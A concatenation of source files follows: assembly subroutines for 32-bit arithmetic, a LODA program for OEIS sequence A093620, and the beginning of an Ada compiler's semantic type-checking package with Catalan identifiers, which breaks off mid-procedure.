_AC32_CLR: ; AC32 = 0
IN_CLR AC32,4
ENDSUB
_AC32_COM: ; AC32 = ~AC32
IN_COM AC32,4
ENDSUB
_AC32_DEC: ; AC32 -= 1
IN_DEC AC32,4
ENDSUB
_AC32_INC: ; AC32 += 1
IN_INC AC32,4
ENDSUB
_AC32_NEG: ; AC32 - AC32
AC32_COM
JMP _AC32_INC
_AC32_UMAX: ; AC32 = U32_MAX
CALL _AC32_CLR
JMP _AC32_COM
_AC32_IMIN: ; AC32 = I32_MIN
CALL _AC32_CLR
BSET AC32_MSB,7
ENDSUB
_AC32_IMAX: ; AC32 = I32_MAX
CALL _AC32_CLR
AC32_COM
BCLR AC32_MSB,7
ENDSUB
_AC32_SH_LSB: ; AC32 >>= 1
CLRC
_AC32_SH_LSBC: ; AC32 >>= 1 with carry
IN_SH_LSBC AC32,4
ENDSUB
_AC32_SH_MSB: ; AC32 <<= 1
CLRC
_AC32_SH_MSBC: ; AC32 <<= 1 with carry
IN_SH_MSBC AC32,4
ENDSUB
;
_AC32_TST: ; Test AC32 == 0 ?
IN_TST AC32,4
ENDSUB
; =========================================================================
; Subroutines: Binary Operations on AC32 and ARG32
;
_AC32_ADD: ; AC32 += ARG32
CLRC
_AC32_ADDC: ; AC32 += ARG32 with Carry
IN_ADDC AC32,ARG32,4
ENDSUB
_AC32_CMP: ; Compare AC32 and ARG32, Set Status as if AC32 - ARG32
IN_CMP AC32,ARG32,4
ENDSUB
_AC32_SWAP: ; SWAP AC32 and ARG32
IN_SWAP AC32,ARG32,4
ENDSUB
_AC32_SUB: ; AC32 -= ARG32
CLRB
_AC32_SUBB: ; AC32 -= ARG32 with borrow
IN_SUBB AC32,ARG32,4
ENDSUB
; =========================================================================
; Subroutines: CONVERSION FUNCTIONS on AC32, signed and unsigned
;
; Convert I8,I16,I24 and U8,U16,U24 bit numbers to 32bit form
;
_I8_TO_I16: ; Sign extend AC32 as 8bit to 16bit number
JMP_BSET AC32+0,7,_N8_TO_16
_U8_TO_U16: ; Unsigned extend AC32 as 8bit to 16bit unsigned number
LOAD8I AC32+1,0
ENDSUB
_N8_TO_16
LOAD8I AC32+1,0ffh
ENDSUB
_I8_TO_I32: ; Sign extend AC32 as 8bit to 32bit number
JMP_BSET AC32+0,7,_N8_TO_32
JMP _U8_TO_U32
_I16_TO_I32: ; Sign extend AC32 as 16bit to 32bit number
JMP_BSET AC32+1,7,_N16_TO_32
JMP _U16_TO_U32
_I24_TO_I32: ; Sign extend AC32 as 24bit to 32bit number
JMP_BSET AC32+2,7,_N24_TO_32
JMP _U24_TO_U32
; Non Negative Numbers
_U8_TO_U32: ; Unsigned extend AC32 as 8bit to 32bit unsigned number
LOAD8I AC32+1,0
_U16_TO_U32: ; Unsigned extend AC32 as 16bit to 32bit unsigned number
LOAD8I AC32+2,0
_U24_TO_U32: ; Unsigned extend AC32 as 24bit to 32bit unsigned number
LOAD8I AC32+3,0
ENDSUB
; Sign Extend Negative Numbers
_N8_TO_32
LOAD8I AC32+1,0ffh
_N16_TO_32
LOAD8I AC32+2,0ffh
_N24_TO_32
LOAD8I AC32+3,0ffh
ENDSUB
; =========================================================================
; =========================================================================
; =================================================================
; ARG SUBROUTINES
;
_ARG32_SH_LSB: ; ARG32 >>= 1
CLRC
_ARG32_SH_LSBC: ; ARG32 >>= 1 with carry
IN_SH_LSBC ARG32,4
ENDSUB
_ARG32_SH_MSB: ; ARG32 <<= 1
CLRC
_ARG32_SH_MSBC: ; ARG32 <<= 1 with carry
IN_SH_MSBC ARG32,4
ENDSUB
_ARG32_TST: ; Test ARG32 == 0 ?
IN_TST ARG32,4
ENDSUB
_ARG32_CLR: ; ARG32 = 0
IN_CLR ARG32,4
ENDSUB
; =========================================================================
; =================================================================
; TMP SUBROUTINES
;
_TMP32_SH_LSB: ; TMP32 >>= 1
CLRC
_TMP32_SH_LSBC: ; TMP32 >>= 1 with carry
IN_SH_LSBC TMP32,4
ENDSUB
_TMP32_SH_MSB: ; TMP32 <<= 1
CLRC
_TMP32_SH_MSBC: ; TMP32 <<= 1 with carry
IN_SH_MSBC TMP32,4
ENDSUB
_TMP32_TST: ; Test TMP32 == 0 ?
IN_TST TMP32,4
ENDSUB
_TMP32_CLR: ; TMP32 = 0
IN_CLR TMP32,4
ENDSUB
; ===================================================================
; ==========================================================================
;
;
; AC32_MUL10 Fast FIXED POINT * 10
;
;
_AC32_MUL10: ; AC32 *= 10 (fast)
AC32_STORE ARG32
AC32_SH_MSB
AC32_SH_MSB
AC32_ADD
AC32_SH_MSB
ENDSUB
#ifdef TODO
; =========================================================================
; TODO UNTESTED
; 32BIT Unsigned Divide
;
; AC32 = AC32 / ARG32
; TMP32 = AC32 % ARG32
; Used: AC32,TMP32,ML_cnt
;
_AC32_UDIV: ; AC32 = AC32 / ARG32, TMP32 = AC32 % ARG32
LOAD8I ML_cnt,32 ; 32 Bits
TMP32_CLR ; Remainder = 0
_AC32_UDIV_LOOP
AC32_SH_MSB ; AC32 = Number we divide
TMP32_SH_MSBC ; TMP32 = Remainder
IN_SUB TMP32,ARG32,4 ; TMP32 -= ARG32
JMP_L _AC32_UDIV_ADD ; TMP32 < 0 ? ARG32 > TMP32
BSET AC32_LSB,0 ; TMP32 >= 0, AC32 |= 1
DJNZ8 ML_cnt,_AC32_UDIV_LOOP
ENDSUB
_AC32_UDIV_ADD
IN_ADD TMP32,ARG32,4 ; yes TMP32 was < 0 so restore
DJNZ8 ML_cnt,_AC32_UDIV_LOOP
ENDSUB
; =========================================================================
; TODO UNTESTED
; 32BIT Unsigned Multiply, 64bit result
;
; TMP32:AC32 = AC32 * ARG32
; Used: AC32,TMP32,ML_cnt
; Notes: If you want a 32bit result call TMP32_TST afterwords
; a result of NZ flags overflow
;
_AC32_UMUL: ; TMP32:AC32 = AC32 * ARG32 (64bit result)
LOAD8I ML_cnt,32 ; 32 Bits
TMP32_CLR ; Clear upper 32 bits of result
_AC32_UMUL_LOOP
; ROTATE ARG32 RIGHT, so after 32 bits ARG32 will be restored!
; Carry determines if we add
ARG32_SH_LSB ; Carry = LSB
JMP_NC _AC32_UMUL_ADD
BSET ARG32_MSB,7 ; Restore MSB
_AC32_UMUL_ADD
IN_ADD AC32,TMP32,4 ; AC32 += TMP32
_AC32_UMUL_RESULT
AC32_SH_LSBC ; MSB = Carry
TMP32_SH_LSBC ; MSB = Carry
DJNZ8 ML_cnt,_AC32_UMUL_LOOP
ENDSUB
#endif
; ================================================================
; END INCLUDE AC32.ASM
#endif
|
programs/oeis/093/A093620.asm
|
neoneye/loda
| 22 |
245976
|
<reponame>neoneye/loda
; A093620: Values of Laguerre polynomials: a(n) = 2^n*n!*LaguerreL(n,-1/2,-2).
; 1,5,43,499,7193,123109,2430355,54229907,1347262321,36833528197,1097912385851,35409316648435,1227820993510153,45528569866101989,1797044836586213923,75200136212985945619,3324579846014080352225,154797474251689486249477,7570037033145534341015371,387848033995077391583842547,20772218684998647434823634681,1160595655192564301089214574565,67523252736570551914173798215603,4083815524876729670357369258974099,256356972748341735562325055814189393
mul $0,6
dif $0,3
seq $0,5425 ; a(n) = 2*a(n-1) + (n-1)*a(n-2).
|
src/semantica-ctipus.adb
|
alvaromb/Compilemon
| 1 |
8349
|
with U_Lexica;
use U_Lexica;
package body Semantica.Ctipus is
procedure Mt_Atom
(L, C : in Natural;
A : out Atribut) is
begin
A := (Atom, L, C);
end Mt_Atom;
procedure Mt_Identificador
(L, C : in Natural;
S : in String;
A : out Atribut) is
Id : Id_Nom;
begin
Id := Id_Nul;
Posa_Id(Tn, Id, S);
A := (A_Ident, L, C, Id);
end Mt_Identificador;
procedure Mt_String
(L, C : in Natural;
S : in String;
A : out Atribut) is
Id : Rang_Tcar;
begin
Posa_Str(Tn, Id, S);
A := (A_Lit_S, L, C, Valor(Id));
end Mt_String;
procedure Mt_Caracter
(L, C : in Natural;
Car : in String;
A : out Atribut) is
begin
A := (A_Lit_C, L, C,
Valor(Character'Pos(Car(Car'First+1))));
end Mt_Caracter;
procedure Mt_Numero
(L, C : in Natural;
S : in String;
A : out Atribut) is
begin
A := (A_Lit_N, L, C, Valor(Integer'Value(S)));
end Mt_Numero;
-- Taula de simbols
procedure Inicia_Enter is
D : Descrip;
Dt : Descriptipus;
Idn, Ida, Idint : Id_Nom;
E : Boolean;
Ipr : Info_Proc;
Idpr : Num_Proc;
Iv : Info_Var;
Idv : Num_Var;
begin
-- Constants inicials
Posa_Id(Tn, Idn, "_zero");
Iv := (Idn, Tp.Np, Integer'Size/8, 0, Tsent,
False, True, 0);
Nv := Nv + 1;
Posa(Tv, Iv, Zero);
Posa_Id(Tn, Idn, "_menysu");
Iv := (Idn, Tp.Np, Integer'Size/8, 0, Tsent,
False, True, -1);
Posa(Tv, Iv, Menysu);
Nv := Nv + 1;
-- "Integer"
Posa_Id(Tn, Idint, "integer");
Dt := (Tsent, Integer'Size/8, Valor(Integer'First),
Valor(Integer'Last));
D := (Dtipus, Dt);
Posa(Ts, Idint, D, E);
-- "puti"
Posa_Id(Tn, Idn, "puti");
Ipr := (Extern, 4, Idn);
Posa(Tp, Ipr, Idpr);
Np := Np + 1;
D := (Dproc, Idpr);
Posa(Ts, Idn, D, E);
Posa_Id(Tn, Ida, "_arg_puti");
Iv := (Ida, Idpr, Integer'Size/8, Ipr.Ocup_Param,
Tsent, True, False, 0);
Posa(Tv, Iv, Idv);
Nv := Nv + 1;
D := (Dargc, Idv, Idint);
Posa(Ts, Ida, D, E);
Posa_Arg(Ts, Idn, Ida, D, E);
Ipr.Ocup_Param := Ipr.Ocup_Param + Iv.Ocup;
-- "geti"
Posa_Id(Tn, Idn, "geti");
Ipr := (Extern, 4, Idn);
Posa(Tp, Ipr, Idpr);
Np := Np + 1;
D := (Dproc, Idpr);
Posa(Ts, Idn, D, E);
Posa_Id(Tn, Ida, "_arg_geti");
Iv := (Ida, Idpr, Integer'Size/8, Ipr.Ocup_Param, Tsent,
True, False, 0);
Posa(Tv, Iv, Idv);
Nv := Nv + 1;
D := (Dargc, Idv, Idint);
Posa(Ts, Ida, D, E);
Posa_Arg(Ts, Idn, Ida, D, E);
Ipr.Ocup_Param := Ipr.Ocup_Param + Iv.Ocup;
end Inicia_Enter;
procedure Inicia_Boolea is
D : Descrip;
Dt : Descriptipus;
Idb, Idt, Idf : Id_Nom;
E : Boolean;
Iv : Info_Var;
Idv : Num_Var;
begin
Posa_Id(Tn, Idb, "boolean");
Dt := (Tsbool, Integer'Size/8, -1, 0);
D := (Dtipus, Dt);
Posa(Ts, Idb, D, E);
Posa_Id(Tn, Idt, "true");
Iv := (Idt, 0, Integer'Size/8, 0, Tsbool, False,
True, -1);
Posa(Tv, Iv, Idv);
Nv := Nv+1;
D := (Dconst, Idb, -1, Nv);
Posa(Ts, Idt, D, E);
Posa_Id(Tn, Idf, "false");
Iv.Id := Idf;
Iv.Valconst := 0;
Posa(Tv, Iv, Idv);
Nv := Nv+1;
D := (Dconst, Idb, 0, Nv);
Posa(Ts, Idf, D, E);
end Inicia_Boolea;
procedure Inicia_Caracter is
D : Descrip;
Dt : Descriptipus;
Idn, Idstring, Ida, Idchar : Id_Nom;
E : Boolean;
Ipr : Info_Proc;
Idpr : Num_Proc;
Iv : Info_Var;
Idv : Num_Var;
begin
-- "character"
Posa_Id(Tn, Idchar, "character");
Dt := (Tscar, 4, Valor(Character'Pos(Character'First)),
Valor(Character'Pos(Character'Last)));
D := (Dtipus, Dt);
Posa(Ts, Idchar, D, E);
-- "string"
Posa_Id(Tn, Idstring, "string");
Dt := (Tsstr, 4, Idchar, 0); --0 es la base
D := (Dtipus, Dt);
Posa(Ts, Idstring, D, E);
-- putc
Posa_Id(Tn, Idn, "putc");
Ipr := (Extern, 4, Idn);
Posa(Tp, Ipr, Idpr);
Np := Np + 1;
D := (Dproc, Idpr);
Posa(Ts, Idn, D, E);
Posa_Id(Tn, Ida, "_arg_putc");
Iv := (Ida, Idpr, Integer'Size/8, Ipr.Ocup_Param, Tscar,
True, False, 0);
Posa(Tv, Iv, Idv);
nv:= nv +1;
D := (Dargc, Idv, Idchar);
Posa(Ts, Ida, D, E);
Posa_Arg(Ts, Idn, Ida, D, E);
Ipr.Ocup_Param := Ipr.Ocup_Param + Iv.Ocup;
-- getc
Posa_Id(Tn, Idn, "getc");
Ipr := (Extern, 4, Idn);
Posa(Tp, Ipr, Idpr);
Np := Np + 1;
D := (Dproc, Idpr);
Posa(Ts, Idn, D, E);
Posa_Id(Tn, Ida, "_arg_getc");
Iv := (Ida, Idpr, Integer'Size/8, Ipr.Ocup_Param, Tscar,
True, False, 0);
Posa(Tv, Iv, Idv);
nv:= nv +1;
D := (Dargc, Idv, Idchar);
Posa(Ts, Ida, D, E);
Posa_Arg(Ts, Idn, Ida, D, E);
Ipr.Ocup_Param := Ipr.Ocup_Param + Iv.Ocup;
-- getcc
Posa_Id(Tn, Idn, "getcc");
Ipr := (Extern, 4, Idn);
Posa(Tp, Ipr, Idpr);
Np := Np + 1;
D := (Dproc, Idpr);
Posa(Ts, Idn, D, E);
Posa_Id(Tn, Ida, "_arg_getcc");
Iv := (Ida, Idpr, 1, Ipr.Ocup_Param, Tscar,
True, False, 0);
Posa(Tv, Iv, Idv);
nv:= nv +1;
D := (Dargc, Idv, Idchar);
Posa(Ts, Ida, D, E);
Posa_Arg(Ts, Idn, Ida, D, E);
-- puts
Posa_Id(Tn, Idn, "puts");
Ipr := (Extern, 4, Idn);
Posa(Tp, Ipr, Idpr);
Np := Np + 1;
Id_Puts := Idpr;
D := (Dproc, Idpr);
Posa(Ts, Idn, D, E);
--arg_puts
Posa_Id(Tn, Ida, "_arg_puts");
Iv := (Ida, Idpr, 4, Ipr.Ocup_Param, Tsstr,
True, False, 0);--16 * Integer'Size
Posa(Tv, Iv, Idv);
nv:= nv +1;
D := (Dargc, Idv, Idstring);
Posa(Ts, Ida, D, E);
Posa_Arg(Ts, Idn, Ida, D, E);
Ipr.Ocup_Param := Ipr.Ocup_Param + Iv.Ocup;
-- gets
Posa_Id(Tn, Idn, "gets");
Ipr := (Extern, 4, Idn);
Posa(Tp, Ipr, Idpr);
Np := Np + 1;
Id_Gets := Idpr;
D := (Dproc, Idpr);
Posa(Ts, Idn, D, E);
--arg_gets
Posa_Id(Tn, Ida, "_arg_gets");
Iv := (Ida, Idpr, 4, Ipr.Ocup_Param, Tsstr,
True, False, 0);
Posa(Tv, Iv, Idv);
Nv := Nv +1;
D := (Dargc, Idv, Idstring);
Posa(Ts, Ida, D, E);
Posa_Arg(Ts, Idn, Ida, D, E);
Ipr.Ocup_Param := Ipr.Ocup_Param + Iv.Ocup;
-- nova linea
Posa_Id(Tn, Idn, "new_line");
Ipr := (Extern, 0, Idn);
Posa(Tp, Ipr, Idpr);
Np := Np + 1;
D := (Dproc, Idpr);
Posa(Ts, Idn, D, E);
end Inicia_Caracter;
procedure Inicia_Analisi
(Nomfitxer : in String) is
begin
Nv := 0;
Np := 0;
Tbuida(Tn);
Tbuida(Ts);
-- Iniciam les Taules
Noves_Taules(Tp, Tv);
Inicia_Enter;
Inicia_Boolea;
Inicia_Caracter;
Obre_Fitxer(nomFitxer);
end Inicia_analisi;
-- Procediments interns
procedure Posa_Idvar
(Idvar : in Id_Nom;
Idtipus : in Id_Nom;
L, C : in Natural;
E : out Boolean) is
Tassig : Descrip;
begin
Nv := Nv + 1;
Tassig := (Dvar, Idtipus, Nv);
Posa(Ts, Idvar, Tassig, E);
if E then
Error(Id_Existent, L, C, Cons_Nom(Tn, Idvar));
Esem := True;
end if;
end Posa_Idvar;
-- Comprovacio de tipus
procedure Ct_Programa
(A : in Pnode) is
D : Descrip;
Idproc : Id_nom renames A.Fid5.Id12;
Ida : Cursor_Arg;
begin
Ct_Decprocediment(A);
Ida := Primer_Arg(Ts, Idproc);
if (Arg_Valid(Ida)) then
Error(Paramspprincipal, Cons_Nom(Tn, Idproc));
Esem := True;
end if;
Tts(Proc_Nul) := Ts;
Tanca_Fitxer;
end Ct_Programa;
procedure Ct_Decprocediment
(A : in Pnode) is
Encap : Pnode renames A.Fe5;
Decls : Pnode renames A.Fc5;
Bloc : Pnode renames A.Fd5;
Id : Pnode renames A.Fid5;
Id_Inf : Id_Nom renames A.Fid5.Id12;
Id_Sup : Id_Nom;
Tdecls : Tipusnode;
np_propi : num_proc;
begin
Ct_Encap(Encap, Id_Sup);
Np_Propi := Np;
if Id_Inf /= Id_Sup then
Error(Idprogdiferents, A.Fid5.l1, A.Fid5.c1,
Cons_Nom(Tn, Id_Sup));
Esem := True;
end if;
Cons_Tnode(Decls, Tdecls);
if Tdecls /= Tnul then
Ct_Declaracions(Decls);
end if;
Ct_Bloc(Bloc);
Tts(Np_Propi) := Ts;
Surtbloc(Ts,tn);
end Ct_Decprocediment;
procedure Ct_Encap
(A : in Pnode;
I : out Id_Nom) is
Tproc : Descrip;
E : Boolean;
Idx_Arg : Cursor_Arg;
Ida : Id_Nom;
Dn : Descrip;
begin
if A.Tipus = Pencap then
Ct_Pencap(A, I);
Idx_Arg := Primer_Arg(Ts, I);
while Arg_Valid(Idx_Arg) loop
Cons_Arg(Ts, Idx_Arg, Ida, Dn);
Posa(Ts, Ida, Dn, E);
if E then
Error(Enregarg, 3, 3, Cons_Nom(Tn, Ida));
Esem := True;
end if;
Idx_Arg := Succ_Arg(Ts, Idx_Arg);
end loop;
else
I := A.Id12;
Np := Np + 1;
Tproc := (Dproc, Np);
Posa(Ts, I, Tproc, E);
Entrabloc(Ts);
if E then
Error(Id_Existent, A.l1, A.C1, Cons_Nom(Tn, I));
Esem := True;
end if;
end if;
end Ct_Encap;
procedure Ct_Pencap
(A : in Pnode;
I : out Id_Nom) is
Param : Pnode renames A.Fd1;
Fesq : Pnode renames A.Fe1;
Tproc : Descrip;
E : Boolean;
begin
if Fesq.Tipus = Identificador then
Np := Np + 1;
Tproc := (Dproc, Np);
Posa(Ts, Fesq.Id12, Tproc, E);
if E then
Error(Id_Existent, Fesq.L1, Fesq.C1,
Cons_Nom(Tn, Fesq.Id12));
Esem := True;
end if;
Entrabloc(Ts);
I := Fesq.Id12;
else
Ct_Pencap(Fesq, I);
end if;
Ct_Param(Param, I);
end Ct_Pencap;
procedure Ct_Param
(A : in Pnode;
I : in Id_Nom) is
Idpar : Id_Nom renames A.Fe2.id12;
Marg : Mmode renames A.Fc2.M12;
Idtipus : Id_Nom renames A.Fd2.id12;
D : Descrip;
Darg : Descrip;
E : Boolean;
begin
D := Cons(Ts, Idtipus);
if D.Td /= Dtipus then
Error(Tipusparam, A.Fd2.l1, A.Fd2.c1,
Cons_Nom(Tn, Idtipus));
Esem := True;
end if;
case Marg is
when Surt | Entrasurt =>
Nv := Nv + 1;
Darg := (Dvar, Idtipus, Nv);
when Entra =>
Nv := Nv + 1;
Darg := (Dargc, Nv, Idtipus);
when others =>
null;
end case;
Posa_Arg(Ts, I, Idpar, Darg, E);
if E then
Error(Enregarg, A.Fe2.l1, A.Fe2.c1,
Cons_Nom(Tn, IdPar));
Esem := True;
end if;
end Ct_Param;
procedure Ct_Declaracions
(A : in Pnode) is
Decl : Pnode renames A.Fd1;
Decls : Pnode renames A.Fe1;
Tnode : Tipusnode;
Idrec : Id_Nom;
Ocup : Despl;
begin
if Decls.Tipus = Declaracions then
Ct_Declaracions(Decls);
end if;
Cons_Tnode(Decl, Tnode);
case Tnode is
when Dvariable =>
Ct_Decvar(Decl);
when Dconstant =>
Ct_Decconst(Decl);
when Dcoleccio =>
Ct_Deccol(Decl);
when Dregistre | Dencapregistre | Firecord =>
Ocup := 0;
Ct_Decregistre(Decl, Idrec,Ocup);
when Dsubrang =>
Ct_Decsubrang(Decl);
when Procediment =>
Ct_Decprocediment(Decl);
when others =>
Esem := True;
null;
end case;
end Ct_Declaracions;
procedure Ct_Decvar
(A : in Pnode) is
Dvariable : Pnode renames A.Fd1;
Id : Id_Nom renames A.Fe1.Id12;
L : Natural renames A.Fe1.L1;
C : Natural renames A.Fe1.C1;
Tassig : Descrip;
Idtipus : Id_nom;
E : Boolean;
begin
Ct_Declsvar(Dvariable, Idtipus);
Posa_Idvar(Id, Idtipus, L, C, E);
end Ct_Decvar;
procedure Ct_Declsvar
(A : in Pnode;
Idtipus : out Id_Nom) is
Tnode : Tipusnode renames A.Tipus;
E : Boolean;
Tdecl : Descrip;
begin
if Tnode = Identificador then
Tdecl := Cons(Ts, A.Id12);
if (Tdecl.Td /= Dtipus) then
Error(Tipusinexistent, A.L1, A.C1,
Cons_Nom(Tn, A.Id12));
Esem := True;
end if;
Idtipus := A.Id12;
elsif Tnode = Declmultvar then
Ct_Declsvar(A.Fd1, Idtipus);
Posa_Idvar(A.Fe1.Id12, Idtipus, A.Fe1.L1,
A.Fe1.C1, E);
end if;
end Ct_Declsvar;
procedure Ct_Decconst
(A : in Pnode) is
Id : Id_Nom renames A.Fe2.Id12;
Idtipus : Id_Nom renames A.Fc2.Id12;
Val : Pnode renames A.Fd2;
E : Boolean;
Tdecl : Descrip;
Tconst : Descrip;
Tsubj : Tipussubjacent;
Ids : Id_Nom;
L, C : Natural := 0;
begin
Tdecl := Cons(Ts, Idtipus);
if (Tdecl.Td /= Dtipus) then
Error(Tipusinexistent, A.Fc2.L1, A.Fc2.C1,
Cons_Nom(Tn, Idtipus));
Esem := True;
else
Ct_Constant(Val, Tsubj, Ids, L, C);
if (Tsubj /= Tdecl.Dt.Tt) then
Error(Tipussubdiferents, A.Fc2.L1, A.Fc2.C1,
Cons_Nom(Tn, Idtipus));
Esem := True;
end if;
if (Tdecl.Dt.Tt > Tsent) then
Error(Tsub_No_Escalar, A.Fc2.L1, A.Fc2.C1,
Cons_Nom(Tn, Idtipus));
Esem := True;
end if;
if (Tsubj = Tsent or Tsubj = Tsbool or
Tsubj = Tscar) then
if (Val.Val < Tdecl.Dt.Linf) or
(Val.Val > Tdecl.Dt.Lsup) then
Error(Rang_Sobrepassat, A.Fe2.L1, A.Fe2.C1,
Cons_Nom(Tn, Id));
Esem := True;
end if;
end if;
Nv := Nv + 1;
Tconst := (Dconst, Idtipus, Val.Val, Nv);
Posa(Ts, Id, Tconst, E);
if E then
Error(Id_Existent, A.Fe2.L1, A.Fe2.C1,
Cons_Nom(Tn, Id));
Esem := True;
end if;
end if;
end Ct_Decconst;
procedure Ct_Deccol
(A : in Pnode) is
Darray : Descrip;
Dtarray : Descrip;
Fesq : Pnode renames A.Fe1;
Idtipus_Array : Id_Nom renames A.Fd1.Id12;
Idarray : Id_Nom;
Ncomponents : Despl;
begin
Dtarray := Cons(Ts, Idtipus_Array);
if (Dtarray.Td /= Dtipus) then
Error(Tipusinexistent, A.Fd1.L1, A.Fd1.C1,
Cons_Nom(Tn, Idtipus_Array));
Esem := True;
else
Ct_Pcoleccio(Fesq, Idtipus_Array, Idarray,
Ncomponents);
Darray := Cons(Ts, Idarray);
Darray.Dt.Tcamp := Idtipus_Array;
Darray.Dt.Ocup := Ncomponents * Dtarray.Dt.Ocup;
Actualitza(Ts, Idarray, Darray);
end if;
end Ct_Deccol;
procedure Ct_Pcoleccio
(A : in Pnode;
Idtipus_Array : in Id_Nom;
Idarray : out Id_Nom;
Ncomponents : out Despl) is
Fesq : Pnode renames A.Fe1;
Idrang : Id_Nom renames A.Fd1.Id12;
E : Boolean;
Dtarray : Descriptipus;
Darray : Descrip;
Di : Descrip;
begin
if (A.Tipus = Pcoleccio) then
Ct_Pcoleccio(Fesq, Idtipus_Array, Idarray,
Ncomponents);
Posa_Idx(Ts, Idarray, Idrang, E);
if E then
Error(Posaidxarray, A.Fd1.L1, A.Fd1.C1,
Cons_Nom(Tn, Idrang));
Esem := True;
else
Di := Cons(Ts, Idrang);
if Di.Td = Dtipus then
Ncomponents := Ncomponents *
Despl(Di.Dt.Lsup - Di.Dt.Linf + 1);
else
Error(Tipusidxerroniarray, A.Fd1.L1,
A.Fd1.C1, Cons_Nom(Tn, Idrang));
Esem := True;
end if;
end if;
elsif (A.Tipus = Pdimcoleccio) then
Dtarray := (Tsarr, 0, Idtipus_Array, 0);
Darray := (Dtipus, Dtarray);
Idarray := Fesq.Id12;
Posa(Ts, Idarray, Darray, E);
if E then
Error(Tipusinexistent, Fesq.L1, Fesq.C1,
Cons_Nom(Tn, Idtipus_Array));
Esem := True;
Ncomponents := 0;
end if;
Di := Cons(Ts, Idrang);
if not (Di.Td = Dtipus and then
Di.Dt.Tt <= Tsent) then
Error(Tipusidxerroniarray, A.Fd1.L1, A.Fd1.C1,
Cons_Nom(Tn, Idrang));
Esem := True;
Ncomponents := 0;
else
Posa_Idx(Ts, Idarray, Idrang, E);
if E then
Put_Line("ERROR CT-pdimcoleccio (DEBUG): "&
"error al posa_idx, error "&
"del compilador, array no creat,"&
" idarr: "&Idarray'Img);
Esem := True;
end if;
Ncomponents := Despl(Di.Dt.Lsup
- Di.Dt.Linf + 1);
end if;
end if;
end Ct_Pcoleccio;
procedure Ct_Decregistre
(A : in Pnode;
Idrecord : out Id_Nom;
Ocup: in out despl) is
Drecord : Descrip;
Dtrecord : Descriptipus;
E : Boolean;
begin
if (A.Tipus = Dregistre) then
Dtrecord := (Tsrec, 0);
Drecord := (Dtipus, Dtrecord);
Posa(Ts, A.Fe2.Id12, Drecord, E);
Idrecord := A.Fe2.Id12;
if E then
Error(Id_Existent, A.Fe2.L1, A.Fe2.C1,
Cons_Nom(Tn, Idrecord));
Esem := True;
end if;
Ct_Dregistre_Camp(A.Fe2.Id12, A.Fc2, A.Fd2, Ocup);
elsif (A.Tipus = Dencapregistre) then
Ct_Decregistre(A.Fe2, Idrecord, Ocup);
Ct_Dregistre_Camp(Idrecord, A.Fc2, A.Fd2, Ocup);
elsif (A.Tipus = Firecord) then
Ct_Decregistre(A.F6, Idrecord, Ocup);
Drecord := Cons(Ts, Idrecord);
Drecord.Dt.Ocup := Ocup;
Actualitza(Ts, Idrecord, Drecord);
end if;
end Ct_Decregistre;
procedure Ct_Dregistre_Camp
(Idrecord : in Id_Nom;
Camp : in Pnode;
Tcamp : in Pnode;
Ocup: in out Despl) is
Idtcamp : Id_Nom renames Tcamp.Id12;
Dtcamp : Descrip;
Idcamp : Id_Nom renames Camp.Id12;
Desc_Camp : Descrip;
E : Boolean;
begin
Dtcamp := Cons(Ts, Idtcamp);
if (Dtcamp.Td /= Dtipus) then
Error(Tipusinexistent, Camp.L1, Camp.C1,
Cons_Nom(Tn, Idtcamp));
Esem := True;
else
Desc_Camp := (Dcamp, Idtcamp, Ocup);
Posacamp(Ts, Idrecord, Idcamp, Desc_Camp, E);
Ocup := Ocup + Dtcamp.Dt.Ocup;
if E then
Error(IdCampRecordExistent, Camp.L1,
Camp.C1, Cons_Nom(Tn, Idcamp));
Esem := True;
end if;
end if;
end Ct_Dregistre_Camp;
procedure Ct_Decsubrang
(A : in Pnode) is
Idsubrang : Id_Nom renames A.Fe5.Id12;
Idtsubrang : Id_Nom renames A.Fc5.Id12;
Rang_Esq : Pnode renames A.Fd5;
Rang_Dret : Pnode renames A.Fid5;
Tsub : Tipussubjacent;
Tsesq : Tipussubjacent;
Tsdret : Tipussubjacent;
Idesq : Id_Nom;
Iddret : Id_Nom;
Valesq : Valor;
Valdret : Valor;
Tdecl : Descrip;
Tdescrip_decl : Descrip;
Tdescript_decl : Descriptipus;
L, C : Natural := 0;
E : Boolean;
begin
Tdecl := Cons(Ts, Idtsubrang);
if(Tdecl.Td /= Dtipus) then
Error(TipusInexistent, A.Fc5.L1, A.Fc5.C1,
Cons_Nom(Tn, Idtsubrang));
Esem := True;
else
--Miram el fill esquerra
Ct_Constant(Rang_Esq, Tsesq, Idesq, L, C);
Valesq := Rang_Esq.Val;
--Miram el fill dret
Ct_Constant(Rang_Dret, Tsdret, Iddret, L, C);
Valdret := Rang_Dret.Val;
-- Comparam els tipus
if (Tsesq /= Tsdret) then
Error(Tipussubdiferents, A.Fc5.L1, A.Fc5.C1,
""&Tsesq'Img&"/"&Tsdret'Img);
Esem := True;
end if;
Tsub := Tsesq;
if (Tsub /= Tdecl.Dt.Tt) then
Error(Tipussubdiferents, A.Fc5.L1, A.Fc5.C1,
""&Tsub'Img&"/"&Tdecl.Dt.Tt'Img);
Esem := True;
end if;
if (Valesq > Valdret) then
Error(ValEsqMajorDret, A.Fc5.L1, A.Fc5.C1,
""&Valesq'Img&" >"&Valdret'Img);
Esem := True;
end if;
if (Valesq < Tdecl.Dt.Linf) then
Error(ValEsqMenor, A.Fc5.L1, A.Fc5.C1,
Cons_Nom(Tn, Idtsubrang));
Esem := True;
end if;
if (Valdret > Tdecl.Dt.Lsup) then
Error(ValDretMajor, A.Fc5.L1, A.Fc5.C1,
Cons_Nom(Tn, Idtsubrang));
Esem := True;
end if;
case Tsub is
when Tsent =>
Tdescript_Decl := (Tsent, 4, Valesq,
Valdret);
when Tscar =>
Tdescript_Decl := (Tscar, 4, Valesq,
Valdret);
when others =>
Put_Line("ERROR Ct_subrang: (Sub)Tipus no "&
"valid per a un subrang");
Esem := True;
end case;
Tdescrip_Decl := (Dtipus, Tdescript_Decl);
Posa(Ts, Idsubrang, Tdescrip_Decl, E);
if E then
Error(Id_Existent, A.Fe5.L1, A.Fe5.C1,
Cons_Nom(Tn, Idsubrang));
Esem := True;
end if;
end if;
end Ct_Decsubrang;
procedure Ct_Expressio
(A : in Pnode;
T : out Tipussubjacent;
Idtipus : out Id_Nom;
L, C : in out Natural) is
Tipus : Tipusnode renames A.Tipus;
Tps : Tipussubjacent;
Id : Id_Nom;
begin
case Tipus is
when Expressio =>
Ct_Expressioc(A, Tps, Id, L, C);
when ExpressioUnaria =>
Ct_Expressiou(A, Tps, Id, L, C);
when Identificador =>
Ct_Identificador(A, Tps, Id, L, C);
when Const =>
